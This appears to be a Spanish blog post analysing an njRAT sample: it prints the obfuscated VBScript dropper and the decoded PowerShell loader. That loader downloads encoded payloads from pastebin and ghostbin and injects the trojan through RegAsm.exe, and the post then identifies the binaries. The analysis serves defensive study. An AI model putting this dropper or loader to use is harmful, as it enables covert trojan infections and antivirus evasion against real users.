Hola a tod@s!!

Me ha parecido curiosa esta muestra : Me la encontré buscando comandos Powershell curiosos, ya sabéis, esos que nos interesa conocer para ver cómo el personal trata de saltarse los antivirus o soluciones edr existentes en el mercado.

Muestra njRAT

El fichero zip que se muestra está protegido con contraseña, pero no os preocupeis, ya que la propia plataforma nos brinda la posibilidad de leer su contenido, el contenido del Visual Basic Script del propio fichero.

Muestra Visual Basic njRAT

Código fuente del malware:

On Error Resume Next
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
if true then
CreateObject("Shell.Application").Namespace(7).CopyHere
WScript.ScriptFullName
end if
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
`dim codigo2` `codigo2 = Replace( ssssssssssssssssssssss("=kSKyVmdyV2ckACL` `nUGel5SbzF0ZlJFX3IzNwUjLw4iM2x1ay92dl1WYyZEXUVkTuQnZvN3byNW` `Nx1c39GZul2VcpzQn /+++++++++++++/ CId11W0NWZqJ2bbBCLsxW` `duRCKlt2b25WSukyJuVnUn /+++++++++++++/ CZvhGdl1EdldkLpciM` `zNXYsNkL0N3cn /+++++++++++++/ SZwlHV0V2RukSZw1WdSRCKkF2bM` `pjOdlHbi1WZzNXQu42bpR3YlxmZlJ1W7kCIlJVaGRCIocmbpJHdTRjNlNX` `YC12byZkO60FdyVmdu92Qu0WZ0NXeTtFI9AiclZnclNHJ` `/+++++++++++++/ 0VXbVGd5J0W7kCIncCIul2bq1CIdhGdn5WZM5CRlBX` `b1JFJt4iLx0yWEVGctVnUkACKn5WayR3U0YTZzFmQt9mcGpjOdRnclZnbvN` `kLtVGdzl3UbBSP /+++++++++++++/ UGctVnUkASXdtVZ0lnQbtTK ` `/+++++++++++++/ cyJ /+++++++++++++/ 4WavpWL /+++++++++++++/` `0Fa0dmblxkLpZEJt4iLx0yWpZEJ /+++++++++++++//+++++++++++++/` `yZulmc0NFZh9Gbud3bE5SK05WZpx2QiV2VuQXZOBCdjVmai9UL3VmToASP` `/+++++++++++++/` `UmUpZEJ7cCa0RHczpzLvcGavNHdilmbuM2bvAXYz` `RXZvkXcmJHcvIXY3dCI9ASaGRyOpAyJnAibp9matASXoR3ZuVGTuwGbkRS` `Lu4SMtsFbsRGJ /+++++++++++++/ /+++++++++++++/ yZulmc0NF` `Zh9Gbud3bE5SK05WZpx2QiV2VuQXZOBCd jVmai9UL3VmToASP ` `/+++++++++++++/ QUZw1WdSRyOn /+++++++++++++/` `Gd0B3c68yLwF2c0VmYp5mLj9WbvIXY39ie3dUZuN0NCdCI9ACbsRGJ"), "` ` /+++++++++++++/ ", "g")` `dim codigo` `codigo = "$Codigo = '" & codigo2 & "'" & ssssssssssssssssss` `ssss("2ogidoc$ dnammoC- eliforPoN- ssapyB yciloPnoitucexE- ` `neddih elytswodniw-` `exe.llehsrewop;) )ogidoC$` `(gnirtS46esaBmorF::]trevnoC.metsyS` `[ (gnirtSteG.IICSA::]gnidocnE.txeT.metsyS[ = 2ogidoc$;")` `CreateObject("WScript.Shell").Run( ssssssssssssssssssssss("` `dnammoC- eliforPoN- ssapyB yciloPnoitucexE- neddih ` `elytswodniw-`exe.llehsrewop") `& " " & """" & (codigo) & """` `" ), `
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
Function ssssssssssssssssssssss(sssssss)
ssssssssssssssssssssss = StrReverse(sssssss)
End Function
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm
qwerlzxcvbnmtyuilzxcvbnmolzxcvbnmpasdlzxcvbnmfghjklzxcvbnm

codigo njRAT

La parte interesante se encuentra aquí:

Como podemos observar hay cadenas escritas al revés: exe.llehsrewop → powershell.exe

Y como podemos ver también, se va a ejecutar el contenido de una de esas cadenas: CreateObject("Wscript.Shell").Run

¿Pero como lo hacen para darle la vuelta? Con esta función:

Function ssssssssssssssssssssss(sssssss) ssssssssssssssssssssss = StrReverse(sssssss) End Function

Vamos a hacer un único cambio:

String Reverso

Cambiamos “CreateObject("Wscript.Shell").Run” por “Wscript.Echo” y veamos lo que ocurre.

El comando Powershell toma forma:

Windows Script Host

Vamos a mostrarlo para poderlo guardar (Wscript.StdOut.Write).

Wscript.StdOut.Write

Bien tenemos el siguiente comando:

$ echo -n
"JGRsbCA9ICdCN0NuZUd3ei93YXIvbW9jLm5p
YmV0c2FwLy86c3B0dGgnOyRSdW1wZUQgPSAoTmV3LU9
iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9h
ZFN0cmluZyggJGRsbFstMS4uLSRkbGwuTGVuZ3RoXSA
tam9pbiAnJyApOyRGaSA9ICd3YXIvcHJmcXkv
ZXRzYXAvb2MubmlidHNvaGcvLzpzcHR0aCc7JEZpUmU
gPSAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50
KS5Eb3dubG9hZFN0cmluZyggJEZpWy0xLi4tJEZpLkx
lbmd0aF0gLWpvaW4gJycgKTtbQnl0ZVtdXSAk
UnVtcGUgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmF
zZTY0U3RyaW5nKCAkUnVtcGVEWy0xLi4tJFJ1
bXBlRC5MZW5ndGhdIC1qb2luICcnICk7W0J5dGVbXV0
gJHNlcnZlciA9IFtTeXN0ZW0uQ29udmVydF06
OkZyb21CYXNlNjRTdHJpbmcoICRGaVJlICk7W1JlZmx
lY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRSdW1w
ZSkuR2V0VHlwZSgnc3N0LkNsYXNzMicpLkdldE1ldGh
vZCgnUnVuJykuSW52b2tlKCRudWxsLCBbb2Jq
ZWN0W11dICgnQzpcV2luZG93c1xNaWNyb3NvZnQuTkV
UXEZyYW1ld29ya1x2Mi4wLjUwNzI3XFJlZ0Fz
bS5leGUnLCAkc2VydmVyKSk=" | base64 -d
$dll = 'B7CneGwz/war/moc.nibetsap//:sptth';
$RumpeD = (New-ObjectNet.WebClient).DownloadString
( $dll[-1..-$dll.Length] -join '' );$Fi =
'war/prfqy/etsap/oc.nibtsohg//:sptth';$FiRe = (New-Object
Net.WebClient).DownloadString(
$Fi[-1..-$Fi.Length] -join '' );[Byte[]] $Rumpe =
[System.Convert]::FromBase64String(
$RumpeD[-1..-$RumpeD.Length] -join '' );
[Byte[]] $server = [System.Convert]:
:FromBase64String( $FiRe );
[Reflection.Assembly]::Load($Rumpe).GetType('sst.Class2').
GetMethod('Run').Invoke($null, [object[]]
('C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe',
$server))

Primero almacena en una variable “$Codigo” una cadena codificada en base64, después la guarda en otra, “$codigo2”, decodificada y finalmente lo ejecuta en el siguiente comando powershell. Los parámetros que veis no son otros que los clásicos para poder ejecutar los comandos y pasar lo más desapercibidos posibles, más información aquí .

Extraemos esa cadena codificada con base64:

Tenemos un par de URL, al revés.

`$ echo -n "B7CneGwz/war/moc.nibetsap//:sptth" | rev
https://pastebin.com/raw/zwGenC7B

$ echo -n "war/prfqy/etsap/oc.nibtsohg//:sptth" | rev
https://ghostbin.co/paste/yqfrp/raw`

Voy a dejar la línea donde está el comando powershell para que se lea y se entienda mejor.

$dll = 'B7CneGwz/war/moc.nibetsap//:sptth';

$RumpeD = (New-Object Net.WebClient).DownloadString( $dll[-1..-$dll.Length] -join '' );

$Fi = 'war/prfqy/etsap/oc.nibtsohg//:sptth';

$FiRe = (New-Object Net.WebClient).DownloadString( $Fi[-1..-$Fi.Length] -join '' );

[Byte[]] $Rumpe = [System.Convert]::FromBase64String( $RumpeD[-1..-$RumpeD.Length] -join '' );

[Byte[]] $server = [System.Convert]::FromBase64String( $FiRe );

[Reflection.Assembly]::Load($Rumpe).GetType('sst.Class2').
GetMethod('Run').Invoke($null, [object[]]
('C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe', $server))`

Tenemos $dll y $Fi que contienen las url que van a descargar (están al revés como ya hemos visto).

$RumpeD y $FiRe descargarán el contenido de las url anteriores. $RumpeD descargará desde $dll una vez le de la vuelta y $FiRe realizará la misma acción pero esta vez con $Fi.

Si nos fijamos bien, hay un fichero de los descargados que está codificado en base64 pero el otro está, además de codificado en base64, al revés.

En $Rumpe habrá que darle la vuelta a la cadena codificada mientras que en $server no es necesario.

Fichero descargado desde $Fi: https://ghostbin.co/paste/yqfrp/raw

$ cat yqfrp.1 | base64 -d > yqfrp.exe
$ file yqfrp.exe
yqfrp.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Fichero descargado desde $dll: https://pastebin.com/raw/zwGenC7B

$ cat zwGenC7B.1 | rev | base64 -d > zwGenC7B.exe
$ file zwGenC7B.exe
zwGenC7B.exe: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

Tenemos un binario y una dll. Los 2 .Net como puede verse.  Esta forma que os he enseñado de extraerlos es únicamente para que veáis la forma de llegar a ellos sin necesidad de utilizar o modificar el script powershell, lo cual podíamos haber hecho también. A nuestros ojos vemos una dll y un exe, pero el comando powershell que los carga, no los hace directamente como tal, es decir, extraídos en una ruta.

[Reflection.Assembly]::Load($Rumpe).GetType('sst.Class2').
GetMethod('Run').Invok($null, [object[]]
('C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe',
$server))

Por un primer lado se carga lo que sería la DLL en memoria $Rumpe, el propio nombre ya da una pista de lo que hace. Aquí podeis ver esta técnica (Runpe) en un video de hasherezade (nunca me canso de ver sus videos ;-)).

RegAsm.exe pertenece a uno de esos comandos conocidos como LOLBIN (Vivir de la tierra): https://lolbas-project.github.io/lolbas/Binaries/Regasm/

Utilizan un comando del sistema operativo para ejecutar algo y de esa forma pasar desapercibido. ¿Pero qué es lo que están cargando? Necesitamos un decompilador de .NET. Llevo mucho tiempo utilizando este: https://github.com/icsharpcode/ILSpy

Simplemente abrimos el fichero que hemos generado, el exe.

ILSpy

Y ya tenemos el código (no exacto pero sí muy aproximado) del binario. Se trata de un troyano conocido como njRat en su versión 0.7NC.

Si lo buscáis por internet veréis que es muy accesible, incluso el código fuente.

dll RAT

La dll también pertenece a esta familia de troyanos. Si recordáis cómo se cargaba: “[Reflection.Assembly]::Load($Rumpe).GetType('sst.Class2').GetMethod('Run')”

IL SPY RAT

Dicho esto, resumiendo, con el último comando de powershell utilizan la técnica Runpe inmersa en una dll para que un comando del sistema operativo la cargue en memoria un binario (njRat) y pase totalmente desapercibido para el usuario que ha ejecutado el fichero original. Se dice pronto, ¿verdad?

Si le echamos un vistazo al árbol de procesos en any.run vemos:

Ejecucion Binario

En donde podemos ver cómo ha detectado el troyano en el binario:

Proceso Malicioso NJRAT

Espero que os haya gustado.

Hasta otra!!